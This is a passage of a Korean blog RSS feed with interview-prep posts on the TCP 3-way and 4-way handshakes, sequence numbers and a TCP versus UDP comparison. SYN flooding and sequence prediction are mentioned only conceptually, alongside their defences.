&lt;pre&gt;&lt;code&gt;LISTEN (연결 요청 대기)
  ↓
[1단계: SYN 수신]
  ↓
[2단계: SYN-ACK 전송]
  ↓
SYN_RECEIVED (클라이언트 확인 대기)
  ↓
[3단계: ACK 수신]
  ↓
ESTABLISHED (연결 완료, 데이터 전송 가능)&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;4. 시퀀스 번호(Sequence Number)의 역할&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;시퀀스 번호란?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;시퀀스 번호(Sequence Number)&lt;/strong&gt;는 TCP에서 데이터의 순서를 보장하기 위해 사용하는 번호입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;3-way Handshake에서의 시퀀스 번호&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1단계: 클라이언트의 초기 시퀀스 번호 (ISN - Initial Sequence Number)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트: seq = x (랜덤 값, 보안을 위해 예측 불가능하게 설정)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;2단계: 서버의 초기 시퀀스 번호&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버: seq = y (랜덤 값)
서버: ack = x + 1 (클라이언트의 다음 시퀀스 번호 기대)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;3단계: 클라이언트의 확인 응답&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트: ack = y + 1 (서버의 다음 시퀀스 번호 기대)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;시퀀스 번호 동기화의 의미&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;양쪽 모두 상대방의 초기 시퀀스 번호를 알고 있으므로, 이후 데이터 전송 시 순서를 보장할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트는 서버의 초기 시퀀스 번호 y를 알고 있음
  → 서버로부터 받을 데이터의 시작 번호를 알 수 있음

서버는 클라이언트의 초기 시퀀스 번호 x를 알고 있음
  → 클라이언트로부터 받을 데이터의 시작 번호를 알 수 있음&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;5. 3-way Handshake가 필요한 이유&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;1. 양방향 통신 준비 확인&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;TCP는 &lt;strong&gt;전이중 통신(Full-duplex)&lt;/strong&gt;을 지원하므로 양쪽 모두 송신과 수신이 가능해야 합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트 → 서버: 클라이언트의 송신 준비 확인
서버 → 클라이언트: 서버의 송신 준비 확인&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;2. 시퀀스 번호 동기화&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;데이터의 순서를 보장하기 위해 양쪽 모두 상대방의 초기 시퀀스 번호를 알아야 합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트: 서버의 초기 시퀀스 번호 y를 알고 있음
서버: 클라이언트의 초기 시퀀스 번호 x를 알고 있음&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;3. 연결의 유효성 검증&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;양쪽 모두 상대방이 실제로 존재하고 통신 가능한 상태인지 확인합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트: 서버가 SYN-ACK로 응답 → 서버 존재 확인
서버: 클라이언트가 ACK로 응답 → 클라이언트 존재 확인&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;4. 중복 연결 방지&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;이미 존재하는 연결과 구분하여 새로운 연결을 설정합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 4-way Handshake (연결 해제)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;연결 해제 과정&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;TCP 연결을 해제할 때는 &lt;strong&gt;4-way handshake&lt;/strong&gt;를 사용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- FIN (seq=x) -------&amp;gt;|  [1단계: 연결 종료 요청]
    |                         |
    |&amp;lt;---- ACK (ack=x+1) -----|  [2단계: 종료 요청 확인]
    |                         |
    |                         |  [서버가 남은 데이터 전송]
    |                         |
    |&amp;lt;---- FIN (seq=y) -------|  [3단계: 서버 종료 요청]
    |                         |
    |---- ACK (ack=y+1) ------&amp;gt;|  [4단계: 종료 확인]
    |                         |
  [연결 해제 완료]&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;왜 4번인가?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;TCP는 전이중 통신이므로 양쪽 모두 독립적으로 연결을 종료할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;클라이언트 → 서버&lt;/strong&gt;: 클라이언트의 송신 종료&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;서버 → 클라이언트&lt;/strong&gt;: 서버의 송신 종료&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;각각 2단계씩 필요하므로 총 4단계가 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. 3-way Handshake의 문제점과 해결&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;SYN Flooding 공격&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;공격 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;공격자가 서버에 대량의 SYN 패킷을 전송
  → 서버는 SYN_RECEIVED 상태로 대기
  → 서버의 리소스 고갈&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결 방법:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN Cookie&lt;/strong&gt;: 서버가 리소스를 할당하지 않고 쿠키로 응답&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;연결 수 제한&lt;/strong&gt;: 동시 연결 수를 제한&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;방화벽 설정&lt;/strong&gt;: 의심스러운 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;3-way handshake&lt;/strong&gt;는 TCP 연결을 설정하기 위해 클라이언트와 서버가 3번의 패킷을 주고받는 과정입니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;1단계 (SYN)&lt;/strong&gt;: 클라이언트가 서버에 연결 요청 (초기 시퀀스 번호 x 전송)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;2단계 (SYN-ACK)&lt;/strong&gt;: 서버가 연결 수락하고 클라이언트의 요청 확인 (초기 시퀀스 번호 y 전송, ack = x + 1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;3단계 (ACK)&lt;/strong&gt;: 클라이언트가 서버의 응답 확인 (ack = y + 1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;목적&lt;/strong&gt;: 양방향 통신 준비 확인, 시퀀스 번호 동기화, 연결의 유효성 검증&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;연결 해제&lt;/strong&gt;는 4-way handshake를 사용하며, 양쪽 모두 독립적으로 종료할 수 있기 때문에 4단계가 필요합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc793&quot;&gt;RFC 793 - Transmission Control Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.amazon.com/TCP-Illustrated-Vol-Addison-Wesley-Professional/dp/0201633469&quot;&gt;TCP/IP Illustrated, Volume 1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;1. 왜 2-way handshake가 아닌 3-way handshake인가?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;2-way handshake의 문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;만약 2-way handshake만 사용한다면:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- SYN (seq=x) -------&amp;gt;|
    |                         |
    |&amp;lt;-- SYN-ACK (seq=y, ack=x+1) --|
    |                         |
  [연결 완료?]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;클라이언트는 서버의 응답을 받았지만, 서버는 클라이언트가 자신의 응답을 받았는지 확인할 수 없음&lt;/li&gt;
&lt;li&gt;네트워크 지연으로 인한 중복 패킷 문제 해결 불가&lt;/li&gt;
&lt;li&gt;양방향 통신 준비 상태를 완전히 확인할 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3-way handshake의 장점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;양쪽 모두 상대방의 통신 준비 상태를 확인&lt;/li&gt;
&lt;li&gt;시퀀스 번호 동기화 완료&lt;/li&gt;
&lt;li&gt;연결의 유효성 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 시퀀스 번호가 랜덤 값인 이유는?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;보안상의 이유:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;예측 가능한 시퀀스 번호는 &lt;strong&gt;TCP Sequence Number Prediction 공격&lt;/strong&gt;에 취약&lt;/li&gt;
&lt;li&gt;공격자가 시퀀스 번호를 예측하여 가짜 패킷을 주입할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;랜덤 값 사용:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;초기 시퀀스 번호(ISN)를 랜덤하게 생성&lt;/li&gt;
&lt;li&gt;공격자가 시퀀스 번호를 예측하기 어려움&lt;/li&gt;
&lt;li&gt;보안 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 3-way handshake 중 패킷이 손실되면?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1단계 (SYN) 손실:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 SYN을 보냈지만 서버가 받지 못함
  → 클라이언트는 타임아웃 후 SYN 재전송&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;2단계 (SYN-ACK) 손실:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 SYN-ACK를 보냈지만 클라이언트가 받지 못함
  → 서버는 타임아웃 후 연결 종료
  → 클라이언트는 타임아웃 후 SYN 재전송&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;3단계 (ACK) 손실:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 ACK를 보냈지만 서버가 받지 못함
  → 서버는 타임아웃 후 SYN-ACK 재전송
  → 클라이언트는 이미 ESTABLISHED 상태이므로 RST 전송
  → 또는 서버가 타임아웃 후 연결 종료&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;재전송 메커니즘:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP는 타임아웃과 재전송 메커니즘을 통해 패킷 손실에 대응&lt;/li&gt;
&lt;li&gt;일정 시간 내 응답이 없으면 패킷을 재전송&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 3-way handshake와 4-way handshake의 차이는?&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;3-way Handshake&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;4-way Handshake&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;목적&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;연결 설정&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;연결 해제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;단계 수&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;3단계&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;4단계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;플래그&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;SYN, SYN-ACK, ACK&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;FIN, ACK, FIN, ACK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;양방향&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;양쪽 모두 연결 준비&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;양쪽 모두 독립적으로 종료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;4-way handshake가 4단계인 이유:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP는 전이중 통신이므로 양쪽 모두 독립적으로 종료 가능&lt;/li&gt;
&lt;li&gt;클라이언트의 송신 종료 (FIN → ACK)&lt;/li&gt;
&lt;li&gt;서버의 송신 종료 (FIN → ACK)&lt;/li&gt;
&lt;li&gt;총 4단계 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. UDP는 왜 handshake가 없는가?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;UDP의 특성:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;비연결형 (Connectionless)&lt;/strong&gt;: 연결 설정 없이 데이터 전송&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;빠른 전송&lt;/strong&gt;: 연결 설정 과정 없이 즉시 전송&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;신뢰성 없음&lt;/strong&gt;: 순서 보장, 재전송 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;UDP에 handshake가 없는 이유:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;연결을 설정할 필요가 없음&lt;/li&gt;
&lt;li&gt;데이터를 보내면 끝 (Best-effort delivery)&lt;/li&gt;
&lt;li&gt;신뢰성 보장이 필요 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;반면 TCP:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;연결 지향형이므로 연결 설정 필요&lt;/li&gt;
&lt;li&gt;신뢰성 보장을 위해 시퀀스 번호 동기화 필요&lt;/li&gt;
&lt;li&gt;3-way handshake로 연결 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Network</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/128</guid>
      <comments>https://jaemeon.tistory.com/128#entry128comment</comments>
      <pubDate>Mon, 26 Jan 2026 08:12:15 +0900</pubDate>
    </item>
    <item>
      <title>Network_02) 연결해서 통하면 천천히, 연결 없으면 빠르게</title>
      <link>https://jaemeon.tistory.com/127</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;TCP(Transmission Control Protocol)&lt;/strong&gt;와 &lt;strong&gt;UDP(User Datagram Protocol)&lt;/strong&gt;는 전송 계층에서 사용되는 두 가지 주요 프로토콜입니다. TCP는 신뢰성 있는 연결 지향형 통신을 제공하고, UDP는 빠르고 단순한 비연결형 통신을 제공합니다.&lt;/p&gt;
&lt;p&gt;개발자 면접 단골 질문이자, 네트워크의 핵심인 TCP와 UDP의 차이점과 사용 사례를 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;TCP와 UDP는 각각 다른 특성을 가지고 있어 애플리케이션의 요구사항에 따라 선택해야 합니다. TCP는 데이터의 신뢰성이 중요한 경우(파일 전송, 이메일, 웹 브라우징)에 사용되고, UDP는 속도와 실시간성이 중요한 경우(동영상 스트리밍, 게임, DNS 조회)에 사용됩니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;네트워크는 데이터가 전송되는 도중 일부가 사라지거나 순서가 뒤집힐 수 있는 환경입니다. 이때 &lt;strong&gt;전송 계층(4계층)&lt;/strong&gt;은 엔드포인트(송신자-수신자) 간에 데이터가 제대로 도착했는지, 순서는 맞는지 관리해 주는 역할을 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TCP의 3-way handshake, 흐름 제어, 혼잡 제어, 오류 복구 메커니즘과 UDP의 단순성과 빠른 전송 속도를 이해해야 합니다. 또한 각 프로토콜의 헤더 구조와 포트 번호의 역할도 중요합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. 전송 계층(Transport Layer)이 왜 필요한가?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;전송 계층의 필요성&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;네트워크는 데이터가 전송되는 도중 일부가 사라지거나 순서가 뒤집힐 수 있는 환경입니다. 예를 들어, &amp;quot;내일 db 수정을 위해 배포를 한달 후로 미뤄야한다.&amp;quot;라는 메시지를 보냈는데 도착한 데이터가 &amp;quot;내일 ... 배포를 ... 한다.&amp;quot;처럼 일부 단어가 손실되어 의미가 완전히 바뀔 수 있습니다.&lt;/p&gt;
&lt;p&gt;이때 &lt;strong&gt;전송 계층(4계층)&lt;/strong&gt;은 엔드포인트(송신자-수신자) 간에 데이터가 제대로 도착했는지, 순서는 맞는지 관리해 주는 역할을 합니다.&lt;/p&gt;
&lt;p&gt;전송 계층에는 성격이 정반대인 두 가지 프로토콜이 있습니다. 바로 &lt;strong&gt;TCP&lt;/strong&gt;와 &lt;strong&gt;UDP&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. TCP (Transmission Control Protocol)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;TCP의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TCP(Transmission Control Protocol)&lt;/strong&gt;는 전송 계층에서 사용되는 &lt;strong&gt;연결 지향형(Connection-oriented)&lt;/strong&gt;, &lt;strong&gt;신뢰성 있는(Reliable)&lt;/strong&gt; 프로토콜입니다. 속도가 상대적으로 느리더라도, 데이터 하나라도 빠뜨리지 않고 완벽하게 배달하는 것이 목표입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;TCP의 핵심 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;strong&gt;1. 연결 지향형 (Connection-oriented)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;통신 전에 연결을 설정하고, 통신 후 연결을 해제합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3-Way Handshake (연결 설정):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- SYN (seq=x) -------&amp;gt;|  [1단계: 연결 요청]
    |                         |
    |&amp;lt;-- SYN-ACK (seq=y, ack=x+1) --|  [2단계: 연결 수락 + 확인]
    |                         |
    |---- ACK (ack=y+1) ------&amp;gt;|  [3단계: 확인 응답]
    |                         |
  [연결 설정 완료]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;각 단계의 의미:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1단계 (SYN)&lt;/strong&gt;: 클라이언트가 서버에 연결 요청&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2단계 (SYN-ACK)&lt;/strong&gt;: 서버가 연결 수락하고 클라이언트의 요청 확인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3단계 (ACK)&lt;/strong&gt;: 클라이언트가 서버의 응답 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;자세한 내용은 [[3 Way Handshake]]를 참고하세요.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;2. 신뢰성 보장 (Reliability)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;TCP는 여러 메커니즘을 통해 데이터의 신뢰성을 보장합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;순서 보장 (Sequence Number):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;TCP는 각 바이트에 순서 번호를 부여하여 데이터의 순서를 보장합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;송신: [1][2][3][4][5]
수신: [1][2][3][4][5]  ✅ 순서 보장&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;확인 응답 (ACK - Acknowledgment):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;수신자는 데이터를 받으면 ACK를 보내어 정상 수신을 확인합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;송신자                    수신자
    |                         |
    |---- 데이터 (seq=1) -----&amp;gt;|
    |                         |
    |&amp;lt;---- ACK (ack=2) --------|
    |                         |
    |---- 데이터 (seq=2) -----&amp;gt;|
    |                         |
    |&amp;lt;---- ACK (ack=3) --------|&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;재전송 (Retransmission):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ACK를 받지 못하면 데이터를 재전송합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;송신자                    수신자
    |                         |
    |---- 데이터 (seq=1) -----&amp;gt;|
    |                         |
    |     [ACK 손실]           |
    |                         |
    |---- 데이터 (seq=1) -----&amp;gt;|  [재전송]
    |                         |
    |&amp;lt;---- ACK (ack=2) --------|&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;&lt;strong&gt;3. 흐름 제어 (Flow Control)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;수신자의 버퍼 크기에 맞춰 전송 속도를 조절합니다. 수신자가 바쁘면 전송 속도를 낮춥니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;슬라이딩 윈도우 기법:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;수신자는 &lt;strong&gt;Window 크기&lt;/strong&gt;를 TCP 헤더에 포함하여 전송&lt;/li&gt;
&lt;li&gt;송신자는 Window 크기만큼만 데이터 전송&lt;/li&gt;
&lt;li&gt;수신자가 데이터를 처리하면 Window 크기 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;수신자 버퍼: [    ] (4바이트)
Window = 4

송신자는 4바이트까지만 전송 가능
수신자가 2바이트 처리 → Window = 2로 업데이트&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;&lt;strong&gt;4. 혼잡 제어 (Congestion Control)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;네트워크 혼잡 상황을 감지하고 전송 속도를 조절합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;주요 알고리즘:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Slow Start&lt;/strong&gt;: 연결 초기에 점진적으로 전송 속도 증가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Congestion Avoidance&lt;/strong&gt;: 혼잡 임계값 도달 후 선형적으로 증가&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast Retransmit&lt;/strong&gt;: 중복 ACK 3개 받으면 즉시 재전송&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast Recovery&lt;/strong&gt;: 혼잡 상황에서 빠른 복구&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;네트워크 혼잡 감지
    ↓
전송 속도 감소
    ↓
점진적으로 속도 증가&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;TCP 헤더 구조&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|            Window             |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;주요 필드:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Source Port / Destination Port&lt;/strong&gt;: 송신자/수신자 포트 번호&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sequence Number&lt;/strong&gt;: 데이터의 순서 번호&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Acknowledgment Number&lt;/strong&gt;: 다음에 받을 데이터의 시퀀스 번호&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flags&lt;/strong&gt;: SYN, ACK, FIN, RST 등 연결 제어 플래그&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Window&lt;/strong&gt;: 수신 가능한 데이터 크기 (흐름 제어)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;TCP의 사용 사례&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;웹 브라우징 (HTTP/HTTPS)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;웹 페이지, 이미지 등 정확한 전송 필요&lt;/li&gt;
&lt;li&gt;Spring Boot &amp;amp; React 앱의 모든 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;이메일 (SMTP, POP3, IMAP)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;이메일 내용 손실 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;파일 전송 (FTP)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;파일 무결성 보장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;원격 접속 (SSH, Telnet)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;명령어와 응답의 정확한 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터베이스 연결&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;쿼리와 결과의 신뢰성 보장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;Spring Boot &amp;amp; React와의 관계&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;대부분의 웹 서비스(로그인, 게시판, 결제)는 TCP 위에서 동작합니다.&lt;/p&gt;
